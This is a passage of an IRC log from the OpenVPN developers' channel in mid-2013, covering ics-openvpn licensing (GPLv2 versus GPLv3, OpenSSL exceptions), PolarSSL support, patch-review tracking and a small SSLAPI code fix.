07:26 <@plaisthos> makes the code much more complex 07:30 <@plaisthos> is there any sorting in our manpage? 07:35 <@plaisthos> you could always do the openvpn config dance like 07:36 <@plaisthos> --ignore-unknown-options opt1 opt2 07:36 <@plaisthos> opt1 07:36 <@plaisthos> opt2 07:36 <@plaisthos> --ignore-unknown-options opt3 opt4 07:36 <@plaisthos> opt3 07:36 <@plaisthos> opt4 07:36 <@plaisthos> (For people who know too much about openvpn config file parsing internals) 07:57 * cron2_ does not want to know 08:36 <@plaisthos> anyway patch is sent to the ML 08:55 < MeanderingCode> plaisthos: hey, around? are you the dev of ics-openvpn? 09:22 <@plaisthos> MeanderingCode: yes and yes 09:22 < MeanderingCode> plaisthos: well hey there 09:22 < MeanderingCode> thanks for your work! 09:22 < MeanderingCode> i use it 09:22 < MeanderingCode> and: i forked it :) 09:23 <@plaisthos> MeanderingCode: thanks and please respect the license :) 09:23 < MeanderingCode> i'm developing an app that uses openvpn, but very specifically (talks to a service provider and autoconfigures openvpn, as opposed to adding your own servers 09:23 < MeanderingCode> gplv2 + openssl, etc 09:23 < MeanderingCode> we're releasing gplv3, which i believe complies, yes? 09:24 < MeanderingCode> (plus openssl exceptions granted to openvpn) 09:24 <@plaisthos> MeanderingCode: yes should be okay 09:25 < MeanderingCode> plaisthos: we are making /significant/ changes, because of the way we're handling/managing gateways, so a lot of that architecture is just different, but i have been thinking of what ways we could maintain a partial "downstream" relationship 09:26 <@plaisthos> MeanderingCode: sounds good :) 09:26 < MeanderingCode> there aren't going to be many places left intact, but certainly minivpn... 09:26 <@plaisthos> I am only saying that because there are already a few apps on the market form VPN service providers which do not even mention OpenVPN or my software in teh about code 09:27 <@plaisthos> s/about code/about window/ 09:27 < MeanderingCode> ah, well we're appreciative around here ;) 09:27 < MeanderingCode> and floss advocates 09:27 < MeanderingCode> if i'm not mistaken, you're developing minivpn, itself, as a fork of openvpn client and not just using it? 09:28 <@plaisthos> minivpn is only a linking trick ;) 09:28 < MeanderingCode> nice :) 09:28 <@plaisthos> but yes I developed the android openvpn stuff 09:28 <@plaisthos> there is a FAQ about minivpn: http://code.google.com/p/ics-openvpn/source/browse/doc/README.txt 09:28 <@vpnHelper> Title: README.txt - ics-openvpn - Openvpn for Android 4.0+ - Google Project Hosting (at code.google.com) 09:28 < MeanderingCode> any luck w/ those linker errors using newer ndks (when run on android 4.0.x) 09:29 <@plaisthos> MeanderingCode: have not yet looked into that in detail 09:29 < MeanderingCode> ah, yes...we forked at the end of january, before you moved readme to doc/ 09:30 <@plaisthos> yeah. I sorted stuff a bit since I made the project compatible with gradle 09:30 <@plaisthos> get stuff out of the main directory 09:31 <@plaisthos> I think the 8d change: You can no longer build a static executable using the -static option or include libstlport_static.a using APP_STL := stlport_static. is the one which is breaking stuff 09:31 < MeanderingCode> not familiar with gradle 09:32 < MeanderingCode> ah, interesting 09:33 <@plaisthos> MeanderingCode: the new Android Studio IDE uses gradle for building 09:33 <@plaisthos> changing APP_STL:=stlport_static 09:33 <@plaisthos> to APP_STL:=stlport_static 09:33 < MeanderingCode> aha. still haven't found the time to try it out. i use eclipse from momentum and the fact that i switch between languages and projects so often 09:33 <@plaisthos> _dynamic might work 09:34 < MeanderingCode> well, as long as it's working w/ 8b, i have bigger fish to fry. we have a lot going on, but as we're coming towards a public beta, i have been feeling overdue in reaching out to you :) 09:40 < MeanderingCode> sometime in the next couple weeks, i plan to do a major refactor/culling of your code that's not applicable to us, and when i do that work, i should have much more clarity on how we will stay related to your code. even if it's only minivpn && (e.g.) OpenVpn(Service|ManagementThread), NetworkS(t)ateReceiver, etc 09:41 < MeanderingCode> so much just looks different in our architecture. but, i will certainly be in touch about it 09:41 <@plaisthos> yeah 09:41 <@plaisthos> note that newer ics-openvpn versions have split the packates into core and non core classes 09:42 <@plaisthos> where core is the non gui specific classes 09:42 < MeanderingCode> oh, interesting...the major refactor planned will be the perfect time to look at that and adapt...it could well be that that makes it easier to stay related to your project 09:43 <@plaisthos> and some much clearer abstraction between UI and core 09:43 <@plaisthos> I don't know what abstraction you/your project needs 09:43 < MeanderingCode> (though much is still different, i'm sure, b/c of how we manage gateways) 09:43 <@plaisthos> I have no idea what this different management of gateways you are talking about really is :) 09:43 <@plaisthos> so I cannot comment on that 09:46 < MeanderingCode> of course :) all will become clear. we're getting gateway definitions and their config from an api call to the users "provider", so a lot of the approach to managing profiles...well i need to really look at it and decide if we would save space and processing by re-writing it, or if just replacing ConfigConverter (which is what i did) is fine...our "defaults" are much different, too, for example 09:51 <@plaisthos> Yeah 09:53 <@plaisthos> You can just ignore the profile management of ics-openvpn, do your and use ProfileManager.setTemporaryProfile(VPNProfile) 09:53 <@plaisthos> and generating VPNProfile on the fly (by either using ConfigConverter or other means) 10:00 < MeanderingCode> sure, we're using a modified ConfigConverter class. when parsing the gateways returned from the provider, i was running into concurrentmodification exceptions around a Collection<VpnProfiles> populated by ProfileManager.getProfiles()...not sure why, because i stopped being able to reproduce when debugging...which makes me think there was some race condition that i was avoiding by slowing the execution down 10:31 <@andj> Just as a heads-up, there's a PolarSSL DoS bug in the PEM code 10:31 <@andj> which can cause an endless loop on handshaking 10:31 <@andj> in TLS 10:31 <@andj> when you don't use TLS-auth 10:31 <@andj> the fix was just released 10:42 <@dazo> I wonder how many times --tls-auth have been the workaround for SSL library troubles in OpenVPN :) 10:46 <@andj> The longer I've used OpenVPN, the more I've come to love that feature 10:46 <@dazo> :) 10:47 <@andj> :) 11:00 < MeanderingCode> speaking of PolarSSL...is there support for it in minivpn? i see that PKCS#12 file support is missing, and capath (but config inline certs should be fine)... 11:00 < MeanderingCode> plaisthos: tried it? 11:05 <@plaisthos> MeanderingCode: yeah. 11:05 <@plaisthos> The app works with PolarSSL 11:05 <@plaisthos> I did only light testing because missing pkcs12 support is like a no go for me 11:05 < MeanderingCode> that's nice! we want to move away from openssl (even with the license exception granted by them to openvpn) 11:05 < MeanderingCode> ah, well, we'll see about that 11:06 <@plaisthos> MeanderingCode: there is support in current version also commented out 11:06 * MeanderingCode doesn't like that java deals with certificates in its whole own universe :( 11:06 <@plaisthos> and on my github account there is polarssl version mit Android.mk 11:07 < MeanderingCode> awesome...didn't even realize you had a GH copy of your repo 11:07 < MeanderingCode> username? 11:07 <@plaisthos> schwabe 11:07 <@plaisthos> MeanderingCode: it is mentioned in the README :p 11:08 < MeanderingCode> plaisthos: mais oui, i should have looked :) 11:08 <@plaisthos> https://github.com/schwabe/polarssl/commit/1daf45a8c57abc9effa8c2dbe5e021bbd51fc50f 11:08 <@vpnHelper> Title: Add build file for Android build · 1daf45a · schwabe/polarssl · GitHub (at github.com) 12:12 -!- cron2_ [~gert@openvpn/community/developer/cron2] has quit [Ping timeout: 245 seconds] 12:13 -!- dazo is now known as dazo_afk 12:57 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 12:57 -!- mode/#openvpn-devel [+o cron2] by ChanServ 12:57 <@cron2> stupid box 14:42 <@pekster> I'm wrapping up some of the Windows (ugh!) tweaks to package my first open-beta of the Easy-RSA 3.x "next gen" package. I was thinking of putting some short info to the users ML to make sure the features got more than a pure developer review; any thoughts on that, or if it should be cross-posted to -devel too? 14:42 <@pekster> Current project homepage is here (now with semi-useful docs too!) http://pekster.sdf.org/code/projects/easyrsa3.html 14:42 <@vpnHelper> Title: Project: Easy-RSA 3 (next-gen Easy-RSA codebase) (at pekster.sdf.org) 14:49 <@ecrist> I'd post to -devel 14:50 <@pekster> That works too; I'm maybe a day out (assuming no more unexpected win32 platform surprises bite me last-minute) from having proper release downloads ready; I'll keep an eye out here if there was other pre-release feedback. Being a beta, I'm not overly concerned about minor details --- Day changed Sun Jun 23 2013 04:14 -!- mattock_afk is now known as mattock 04:45 -!- mattock is now known as mattock_afk 09:23 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Ping timeout: 256 seconds] 09:35 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 14:39 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 14:39 -!- mode/#openvpn-devel [+o cron2] by ChanServ 16:00 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 264 seconds] --- Day changed Mon Jun 24 2013 00:00 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has quit [Ping timeout: 240 seconds] 00:01 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn-devel 00:04 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 00:04 -!- mode/#openvpn-devel [+o pekster] by ChanServ 02:20 < syzzer> ah, the updated tls-version patch set from james is on the ml 02:23 < syzzer> I looked through the code and I thnk it looks good, but I won't have time to test it for another week as I'm out for holiday 04:27 -!- waldner [waldner@openvpn/user/waldner] has quit [Ping timeout: 245 seconds] 04:57 -!- dazo_afk is now known as dazo 05:59 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 245 seconds] 06:16 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 06:16 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 06:31 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection] 06:48 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 06:48 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 10:11 -!- raidz_away is now known as raidz 11:58 -!- mattock_afk is now known as mattock 12:58 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 15:02 -!- dazo is now known as dazo_afk 19:35 -!- raidz is now known as raidz_away --- Day changed Tue Jun 25 2013 03:01 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:01 -!- mode/#openvpn-devel [+o mattock_afk] by ChanServ 03:01 -!- mattock_afk is now known as mattock 03:39 <@mattock> https://community.openvpn.net/openvpn/wiki/OpenVPN2013-week-24-summary 03:39 <@vpnHelper> Title: OpenVPN2013-week-24-summary – OpenVPN Community (at community.openvpn.net) 03:39 <@mattock> https://community.openvpn.net/openvpn/wiki/OpenVPN2013-week-25-summary 03:39 <@vpnHelper> Title: OpenVPN2013-week-25-summary – OpenVPN Community (at community.openvpn.net) 04:20 < Hes> Hm, my second pkcs#12 intermediate cert patch was not an interesting event on week 25 :( 04:21 < Hes> Or ongoing development. 04:22 < Hes> It got 3 feature-ACKs if I counted right, but no code review ACKs yet. I wonder if there is chance of getting one. 04:23 < Hes> Would it help, if I produced cert authentication test case scripts to technically validate that it's doing the right thing? 04:27 <@cron2> Hes: poke syzzer or andj about that code review... 04:32 < Hes> Thanks, I'll try. 05:07 -!- dazo_afk is now known as dazo 05:41 <@mattock> Hes: I probably shouldn't add any patches to the "Interesting events" section, or add them all 05:42 <@mattock> adding all could take quite a while, if there are lots of patches, hence I have not done that so far 05:46 <@mattock> on the other hand, it might be useful to have a list of this week's new (unreviewed) patches somewhere 07:17 <@plaisthos> but a central place where all patches are listed could be good idea 07:17 <@plaisthos> we tend to keep loosing track of them 07:19 <@dazo> Hes: unfortunately ... the patch queue is long and the reviewers few .... so if you're willing to hang out here and spend a little bit of your spare time (if you have that, of course ;-)) with reviewing, commenting stuff on the ML and in this channel ... we'd highly appreciate that! 07:56 < Hes> plaisthos: Yup, I noticed my patch didn't get migrated from a meeting's review list to the next meeting's review list automatically, so I copied it myself... 08:56 <@mattock> plaisthos: agreed 08:57 <@mattock> maybe we should have a patch list page somewhere in Trac... we'd just have to remember to remove the already committed patches somehow, or it will become unmanageable 08:58 <@plaisthos> yes 08:59 <@mattock> maybe I'll start maintaining such a page next week when I do my usual almost weekly weekly news 08:59 <@mattock> :P 09:00 <@mattock> you guys can remove the committed patches every now and then 09:11 -!- Netsplit *.net <-> *.split quits: Hes 09:49 -!- Netsplit *.net <-> *.split quits: +krzee 09:55 <@cron2> dazo: worse than "reviewers few" are committers that have no time to commit their own already-ACKed patches :-) 09:56 <@cron2> *duck&run* 09:56 <@cron2> (actually, one of mine is in that list as well) 09:58 <@dazo> heh 09:58 <@dazo> I'll see if I can squeeze in some time tomorrow 10:16 -!- raidz_away is now known as raidz 10:40 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 256 seconds] 10:40 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has quit [Ping timeout: 256 seconds] --- Log closed Tue Jun 25 10:40:38 2013 --- Log opened Wed Jun 26 07:32:20 2013 07:32 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 07:32 -!- Irssi: #openvpn-devel: Total of 17 nicks [8 ops, 0 halfops, 1 voices, 8 normal] 07:32 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 07:32 -!- Irssi: Join to #openvpn-devel was synced in 1 secs 10:17 -!- raidz_away [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 10:17 -!- mode/#openvpn-devel [+o raidz_away] by ChanServ 10:17 -!- raidz_away is now known as raidz 13:31 < MeanderingCode> plaisthos: 'round? your ics-openvpn license (new since we forked) states gplv2-only, ask you for exception 13:31 < MeanderingCode> we'd like to be gplv3 13:32 < MeanderingCode> what do you think of that? 13:43 * ecrist guesses not 13:43 <@pekster> MeanderingCode: Do the sources ship with an explicit "v2 only" clause? The link off of the google code page references the standard GPLv2.0 license, which states "or (at your option) any later version. 13:44 <@pekster> ie: the "Code License" link from: https://code.google.com/p/ics-openvpn/ 13:44 <@vpnHelper> Title: ics-openvpn - Openvpn for Android 4.0+ - Google Project Hosting (at code.google.com) 13:46 <@pekster> Ah, it is "version 2 of the license only" in the source checkout 13:58 < MeanderingCode> pekster: indeed. thanks for looking for me :) 13:58 <@plaisthos> MeanderingCode: err, hm 13:59 < MeanderingCode> hey plaisthos 13:59 < MeanderingCode> feelings on the matter? 13:59 <@plaisthos> that seems to be really v2 only 13:59 <@plaisthos> I guess I took the wrong template 14:00 <@plaisthos> give me a minute 14:00 <@plaisthos> oh yes, gplv2 is incompatbile with gplv3 right? 14:02 < MeanderingCode> plaisthos: as far as i've been able to tell :/ 14:02 < MeanderingCode> licenses are /not/ my forte 14:03 <@plaisthos> yeah gpl does not allow additional restrictions and gplv3 has additionial restrictions over v2 14:04 < MeanderingCode> plaisthos: so if we were to be v3, we'd need written permission from you (or you change your license) 14:04 <@plaisthos> MeanderingCode: I can change the license 14:05 < MeanderingCode> also, someone said you needed to write in the exception for openssl w/ regards to your use of gpl 14:05 <@plaisthos> MeanderingCode: most people treat will treat it like public domain anyway ... :( 14:05 < MeanderingCode> that it wouldn't "inherit" via openvpn's exception 14:05 <@plaisthos> MeanderingCode: what has that to do with openvpn's expection? 14:05 < MeanderingCode> plaisthos: indeed. did you read that article a couple months back about some analysis saying some 70% of ios and android apps violating open source terms? 14:06 < MeanderingCode> well, openssl isn't compatible w/ gpl, so you need an exception clause saying that the openssl license applies to the included openssl code and it doesn't come under your gpl 14:07 <@plaisthos> err yes 14:07 < MeanderingCode> or whatever :/ i am a developer, not a lawyer 14:07 < MeanderingCode> someone said that the exception in the openvpn directory COPYING file "wasn't enough", and that you needed to put it in your license file, too 14:07 < MeanderingCode> they weren't a lawyer, but they are involved in debian 14:08 < MeanderingCode> sec... 14:08 <@plaisthos> MeanderingCode: openvpn license is seperate from the UI, so licenses are seperate as well 14:08 < MeanderingCode> plaisthos: https://people.gnome.org/~markmc/openssl-and-the-gpl.html 14:08 <@vpnHelper> Title: The OpenSSL License and The GPL (at people.gnome.org) 14:08 <@plaisthos> since they are different processes 14:08 < MeanderingCode> plaisthos: well, it's good enough for me :) 14:09 <@plaisthos> but there is a tiny bit of openssl usage in the UI 14:09 < MeanderingCode> ah, process threads matter?! i am glad i am not a lawyer 14:09 <@plaisthos> MeanderingCode: yeah. 14:09 < MeanderingCode> boo 14:09 <@plaisthos> MeanderingCode: otherwise no commercial software could call a GPL binary 14:10 < MeanderingCode> so, you're going to change to gplv2-or-later? 14:10 < MeanderingCode> plaisthos: good point 14:10 < MeanderingCode> my head is spinning with this stuff 14:10 <@plaisthos> For android 4.1 I have call into the underlying openssl library to enable android keystore usage :) 14:10 < MeanderingCode> also: is it apurpose that AndroidManifest.xml and settings_basic.xml have the (c) AOSP, apache v2? or is that just from scaffolding with the "android" command? 14:11 < MeanderingCode> ^ that's a bit OT for this channel 14:11 <@plaisthos> MeanderingCode: leftovers from copying from examples :) 14:12 < MeanderingCode> i thought that was the case :) 14:13 < MeanderingCode> plaisthos: ping me if/when you're going to change that license, or you decide something specific w/ regards to that 14:14 < MeanderingCode> (we forked before you had a license file, btw ;P ) 14:14 <@plaisthos> MeanderingCode: yeah, old code was BSD license 14:14 < MeanderingCode> i didn't see that anywhere 14:15 < MeanderingCode> maybe someone rm'd it :) 14:15 <@plaisthos> but I got feed up by people saying they modified my code, broke it and then asked for help but would not show me their code... 14:15 <@plaisthos> MeanderingCode: only implicit on the Google code page 14:15 < MeanderingCode> oh, i see! 14:16 <@plaisthos> And code with license is still copyrighted ... 14:16 <@plaisthos> without 14:18 <@plaisthos> MeanderingCode: updatet the license 14:18 < MeanderingCode> plaisthos: thanks! 14:18 < MeanderingCode> re: copyright: most definitely 15:57 -!- mattock is now known as mattock_afk 18:47 -!- dazo is now known as dazo_afk 20:17 -!- raidz is now known as raidz_away --- Day changed Thu Jun 27 2013 02:04 -!- krzee [~k@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 02:04 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 02:04 -!- mode/#openvpn-devel [+v krzee] by ChanServ 02:08 -!- mattock_afk is now known as mattock 02:14 <@cron2> reading through this, I come to the conclusion that the GPL sucks 02:35 -!- Netsplit *.net <-> *.split quits: jgeboski, riddle 02:37 -!- Netsplit over, joins: riddle, jgeboski 03:13 <@plaisthos> cron2: hehe 03:14 <@plaisthos> cron2: and don't forgot the license of LZO which specifically allows LZO to be linked against OpenSSL for the OpenVPN project 03:34 <@cron2> omg... 04:03 -!- waldner [waldner@openvpn/user/waldner] has joined #openvpn-devel 08:53 <@ecrist> BSD > * 09:10 -!- waldner [waldner@openvpn/user/waldner] has quit [Read error: Operation timed out] 10:22 -!- raidz_away is now known as raidz 10:43 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Ping timeout: 252 seconds] 10:49 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services] 10:49 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 10:50 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 10:50 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 12:56 <+krzee> lol i didnt know that tidbit about lzo, funny stuff 12:57 <@pekster> Same mess that openssl has usually caused 12:59 <@pekster> Thesedays, the "invent your own license" usually has more drawbacks than benefits in the FOSS world 13:08 <+krzee> WTFPL for the win? 15:28 -!- mattock is now known as mattock_afk 19:54 -!- raidz is now known as raidz_away --- Day changed Fri Jun 28 2013 01:29 -!- mattock_afk is now known as mattock 02:03 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Ping timeout: 245 seconds] 03:37 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 03:37 -!- mode/#openvpn-devel [+o cron2] by ChanServ 03:37 <@cron2> *grumble* 03:37 <@cron2> my workhorse server seems to have developed hardware issues 04:14 -!- dazo_afk is now known as dazo 07:26 -!- mattock is now known as mattock_afk 08:06 -!- mattock_afk is now known as mattock 10:27 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 256 seconds] 10:30 -!- waldner [waldner@openvpn/user/waldner] has joined #openvpn-devel 10:40 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 10:52 -!- raidz_away is now known as raidz 11:11 -!- waldner [waldner@openvpn/user/waldner] has quit [Quit: leaving] 11:17 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has quit [Read error: Operation timed out] 11:18 -!- dazo is now known as dazo_afk 11:20 -!- waldner [waldner@openvpn/user/waldner] has joined #openvpn-devel 11:31 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 12:15 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 248 seconds] 12:16 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 12:16 -!- mode/#openvpn-devel [+o andj] by ChanServ 12:37 -!- dazo_afk is now known as dazo 12:40 <@dazo> plaisthos: why does lzo have this extra openvpn clause? ... is it because of the openssl license? 12:41 <@dazo> (I mean, at least the lzo package in Fedora is GPLv2+ 12:41 <@dazo> ) 12:43 <@pekster> Things that link against openssl end up requiring an "extra exemption" because OpenSSL has a more restrictive license than GPL, and the GPL doesn't allow further restrictions in source *or* binary form 12:44 <@dazo> uhh ... stupid OpenSSL, I'd say then 15:21 -!- dazo is now known as dazo_afk 15:28 -!- mattock is now known as mattock_afk 20:09 -!- raidz is now known as raidz_away 22:42 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has quit [Read error: Operation timed out] 22:42 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel --- Day changed Mon Jul 01 2013 02:15 -!- dazo_afk is now known as dazo 03:52 -!- mattock_afk is now known as mattock 04:03 <@dazo> andj: syzzer: Are you able to help out on this one? https://bugzilla.redhat.com/show_bug.cgi?id=319901#c36 (ECC support in OpenSSL ... help needed to sort out some possible patent issues) 04:03 <@vpnHelper> Title: Bug 319901 missing ec and ecparam commands in openssl package (at bugzilla.redhat.com) 04:18 -!- mattock is now known as mattock_afk 05:29 -!- mattock_afk is now known as mattock 07:24 -!- mattock is now known as mattock_afk 07:57 -!- mattock_afk is now known as mattock 10:48 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 10:55 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:55 -!- mode/#openvpn-devel [+o mattock_afk] by ChanServ 10:55 -!- mattock_afk is now known as mattock 11:17 -!- raidz_away is now known as raidz 12:22 -!- dazo is now known as dazo_afk 14:24 <@plaisthos> My best email so far: 14:24 <@plaisthos> "Plse giveme free net on my mobile 14:24 <@plaisthos> " 14:32 <@ecrist> lol 15:02 <@pekster> Just #include <skynet.h> and you're set! 15:25 -!- mattock is now known as mattock_afk 18:56 -!- raidz is now known as raidz_away 19:16 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Ping timeout: 245 seconds] --- Day changed Tue Jul 02 2013 00:52 -!- mattock_afk is now known as mattock 02:14 < syzzer> dazo: I'm afraid I won't be able to help out there. I never really dug into the patent issues of ECC, I just know they exist and there should be free implementations, e.g. Berstein's. 02:14 < syzzer> *implementations/curves 03:00 -!- mattock is now known as mattock_afk 03:49 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 03:49 -!- mode/#openvpn-devel [+o cron2] by ChanServ 06:06 -!- dazo_afk is now known as dazo 06:11 <@dazo> syzzer: yeah ... in regards to the patents themselves, I believe RH got lawyers able to pull that stuff through ... but identifying the ECC implementation in the source code, that's more what I was thinking about ... when that's done it's easier to figure out the next steps 06:23 -!- mattock_afk is now known as mattock 06:53 <@mattock> hmm, I wonder if we should make Trac send email notifications of new bugs to openvpn-devel 06:53 <@mattock> I think that should be doable 06:53 <@cron2> I'm not sure if it will help, but at least we won't overlook something 06:57 <@dazo> it would give the impression that we care for a couple of months ... and then the complaints will come again ... our problem isn't necessarily systems .... it's lack of man power 06:58 <@cron2> lack of manpower, but also lack of "determinism" in looking at things 07:02 <@dazo> In my point of view, that's interconnected ... we who are involved now have more than enough to take care of what have now ... and this "determinism" fades away, due to lack of time 07:02 <@cron2> we need to free more time 07:02 * cron2 writes to dazo's boss to have him fired 07:03 <@dazo> hehehe 07:03 <@dazo> cron2: maybe openvpn tech should hire us! 07:05 <@cron2> this might work, we should talk to mattock about it :-) (but I have the nagging suspicion that you like the work at RedHat and wouldn't want to quit that) 07:05 <@dazo> well, entirely depends on the offer ;-) 07:46 <@mattock> dazo: you got your own little island on the South Pacific already looked up? 07:46 <@mattock> :P 07:48 <@dazo> mattock: I might be convinced ... if sun and water is pleasantly work the whole year through and a decent Internet connection ... then we have a good starting point ;-) 07:48 <@dazo> s/work/warm/ 07:48 <@dazo> you see ... I'm already pondering on working there ;-) 08:08 <@mattock> lol :) 11:09 <@mattock> it's possible that sending emails of the new bugs to openvpn-devel might encourage somebody outside the core team to take a look... at least to see if the report is clearly bogus 11:09 <@mattock> I'm leaning towards giving it a shot 11:10 <@mattock> we don't get _that_ many bug reports (0-3 per week), so it's not really spamming 11:10 <@mattock> but we could ask the good people on openvpn-devel before moving forward 11:10 <@cron2> oh, btw, I can't make thursday this week. Conflicting appointments, first thursday in June is always the day some good friends of ours have their big summer feast 11:11 <@mattock> does the feast involve good Bavarian beer? 11:11 <@mattock> or do they make good beer there? :P 11:11 <@cron2> lots of good bavarian beer and barbeque 11:12 <@ecrist> you're a month late to the BBQ 11:12 <@cron2> July 11:12 <@cron2> :) 11:12 * cron2 is perpetually confused about dates 11:12 <@ecrist> that's an easier appt to keep at this point. 11:13 -!- raidz_away is now known as raidz 11:13 <@mattock> cron2: sounds like an excellent feast! 11:49 <@dazo> actually, I got an invitation to a BBQ on this Thursday as well 12:07 <@mattock> what is it with Thursdays :P 12:07 <@mattock> I wonder if I get an invitation, too 12:11 <@ecrist> 4th of July here in the states 12:11 <@ecrist> well, everywhere, really, but it's our Independence Day 12:12 <@ecrist> fuck those british scoundrels! 12:14 <@mattock> lol 12:15 <@mattock> ah yes, 4th of July 12:15 <@mattock> really bad for a meeting, James-vise 15:31 <@cron2> then let's postpone it by one week 15:41 -!- dazo is now known as dazo_afk 15:55 <@mattock> yup, probably a good idea 15:55 <@mattock> two barbeques and one 4th of July 15:55 <@mattock> that leaves not that many developers 15:58 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds] 16:00 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 16:01 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 16:01 -!- dazo_afk is now known as dazo 16:05 -!- mattock is now known as mattock_afk 17:20 <@vpnHelper> RSS Update - tickets: #307: Enable use of ECDH <https://community.openvpn.net/openvpn/ticket/307> 19:24 -!- raidz is now known as raidz_away --- Day changed Wed Jul 03 2013 00:12 <+krzee> could have sworn i saw some work on EC in openvpn by jjk but cant find it now 01:15 -!- mattock_afk is now known as mattock 01:21 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel 01:22 -!- mode/#openvpn-devel [+v krzie] by ChanServ 01:23 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 245 seconds] 01:23 -!- krzie is now known as krzee 01:53 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 245 seconds] 01:58 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 01:58 -!- mode/#openvpn-devel [+v krzee] by ChanServ 03:14 <@cron2> he sent patches to the list, but they haven't been integrated, as far as I remember 03:41 <+krzee> ahh werd 03:41 <+krzee> i look forward to playing with it 05:56 <@plaisthos> I really need a better overiew over patches than my crowed openvpn mailbox folder 06:43 <@dazo> krzee: those EC patches was implementing the openssl features into openvpn .... so not tightly related to EC not added to RHEL 6 (due to possible patent issues) 06:43 <@cron2> plaisthos: +1 11:14 -!- raidz_away is now known as raidz 12:13 <@plaisthos> I started a patches wiki page 12:13 <@plaisthos> https://community.openvpn.net/openvpn/wiki/Patches 12:13 <@vpnHelper> Title: Patches – OpenVPN Community (at community.openvpn.net) 12:14 <@plaisthos> (And wrote a small quick&dirty script to parse an email and output a wiki formatted table row) 13:03 <@dazo> plaisthos++ 13:17 < Hes> Mm, cool. 13:45 * cron2 has a slightly different approach to the list of patches 14:00 <@cron2> dazo: is it pure luck or C coding greatness that your SSLAPI patch compiles just fine if --disable-ssl is passed? 14:01 <@dazo> the honest truth is probably the former, but I'm brave enough to clame the latter! ;-) 14:01 <@dazo> claim! 14:01 <@dazo> but I won't claim much about English, though :-P 14:02 <@cron2> if you configure --disable-ssl, SSLAPI expands to "" (nothing), which makes the struct init into ", };", which *is* legal and inits with "0" 14:03 * cron2 wonders whether to late-NAK the patch and ask for a v4, which has SSLAPI_NONE in the enum, as "0"... 14:03 <@dazo> No problem with that! 14:04 <@cron2> I think we should do that, then :-) 14:06 <@dazo> cron2: what about this? http://www.fpaste.org/22824/72878403/ 14:07 <@dazo> I've added an explicit SSLAPI_NONE define, if not set 14:07 <@cron2> works for me 14:07 <@cron2> well, it's "#ifndef" not "#ifundef", but that's a pure technicality only CPP would ever complain about :) 14:07 <@dazo> whoops :) 14:07 <@cron2> no great mind should be bothered by syntax rules 14:07 <@dazo> :) 14:08 <@dazo> okay, I'll do a sanity compile, just in case :-P 14:08 <@cron2> good plan 14:09 <@cron2> so where's mattock when I need to poke him... 14:17 <@dazo> patch on the way :) 14:18 * dazo goes back to DMI table decoding 14:18 * cron2 recommends "dmidecode"... 14:18 <@dazo> that's what I'm hacking on ;-) 14:18 <@cron2> thought so 14:18 <@cron2> everyone else just runs that, and doesn't decode by hand :-) 14:19 <@dazo> in fact, there's a port of dmidecode ... which is python-dmidecode, which I did a major overhaul on some years ago .... but the upstream maintainer has mostly vanished, and was lingering behind dmidecode 14:21 <@dazo> Last time I tried to convince upstream to make dmidecode more kind of a library with some structured data access instead of just a bunch of printf() statements .... but they didnt' like the idea :/ 14:22 <@cron2> <xml/> 14:22 <@dazo> well, that's what I wrote python-dmidecode to do under the hood 14:23 <@cron2> if someone spots mattock... I think the 